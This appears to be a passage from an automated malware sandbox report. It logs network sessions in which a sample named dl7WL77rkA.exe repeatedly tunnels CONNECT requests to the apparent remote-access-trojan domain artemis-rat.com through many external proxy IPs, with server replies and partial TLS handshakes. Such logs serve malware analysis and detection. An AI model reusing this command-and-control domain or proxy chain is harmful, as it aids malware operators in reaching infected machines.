Mar 11, 2024 03:30:50.989487886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905316114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.5	54203	103.120.6.46	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.238045931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.626554012 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.5	54448	104.19.124.112	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.238090992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.398859978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.5	52849	94.131.14.66	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.238595009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.998733997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.5	54294	45.120.178.197	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.243122101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.5	52881	148.72.209.174	16203	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.252711058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.5	54347	147.75.92.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.259526014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.549005032 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3
Mar 11, 2024 03:30:45.549556017 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c d4 82 42 c6 84 81 1a c3 35 c7 1b 98 5e 5a 8e c6 09 3d ae b7 6e f9 76 6a 8d 57 0d 90 64 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhelB5^Z=nvjWd*,+0/$#('=<5/artemis-rat.com#[pQED76xbwFl2-tx}xd?$8T?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.5	54307	58.75.126.235	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.261085987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.5	52907	43.255.113.232	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.267601013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.621151924 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Mon, 11 Mar 2024 05:18:08 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.3 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.5	54296	186.124.164.213	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.270005941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.5	54295	194.247.173.17	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.271541119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.5	54164	103.166.39.17	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.275582075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.5	54366	118.34.105.254	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.279598951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.580271959 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:45 GMT Expires: Mon, 11 Mar 2024 02:30:45 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.5	50148	103.255.147.102	83	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.284347057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.405126095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.194983959 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.5	54306	212.31.100.138	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.284621000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.5	54468	172.67.182.0	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.294425964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.450469971 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.5	53944	74.119.147.209	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.302396059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.5	54487	172.67.38.96	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.306615114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.461124897 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.5	54336	120.37.121.209	9091	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.307187080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.647052050 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 02:30:33 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.5	54475	162.159.242.138	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.307440042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.468494892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.5	54311	45.11.95.165	5047	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.310194969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.5	54292	103.83.36.1	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.321722984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.5	54404	43.133.74.172	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.327069998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.5	54434	121.128.194.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.328701973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.5	54650	152.32.132.220	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.334276915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.5	54651	152.32.132.220	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.336222887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.5	54652	152.32.132.220	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.337965012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.5	54351	93.90.212.2	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.339255095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.5	54653	152.32.132.220	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.339533091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.5	54437	91.134.140.160	12217	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.341573954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124188900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083622932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.014653921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.905237913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.811331034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:00.679889917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.5	54325	65.1.244.232	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.343314886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.727849960 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:45.737013102 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c d4 ef fd 0b 89 b1 90 a3 59 dc 58 8e 39 b3 21 e9 a1 fa 95 7c f5 8b 48 5f e5 c1 f2 dd fc 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhelYX9!\|H_*,+0/$#('=<5/artemis-rat.com#"j!-e8=U t6WQjOry3rhrhpg{bp%,$N
Mar 11, 2024 03:30:46.124809980 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 19 6a 0c b6 94 69 e4 9a ef fe e3 c5 bd 5f dd 18 5a e5 89 c6 18 31 a7 e0 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9ji_Z1DOWNGRD0000H010Uartemis-rat.com0240311015330Z260311015330Z010Uartemis-rat.com0"0H05.wN
Mar 11, 2024 03:30:46.136291027 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 22 65 03 8f 1b f0 45 89 77 90 9f ec 51 73 c2 7e 9d 8e 37 97 0b 44 93 02 82 91 5c 6f d1 03 ce 37 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 9d 8f ad bf a7 48 d6 69 c1 dd c7 25 c6 8f 7d d8 c4 8e cc 82 42 Data Ascii: %! "eEwQs~7D\o7(Hi%}B2Yj"
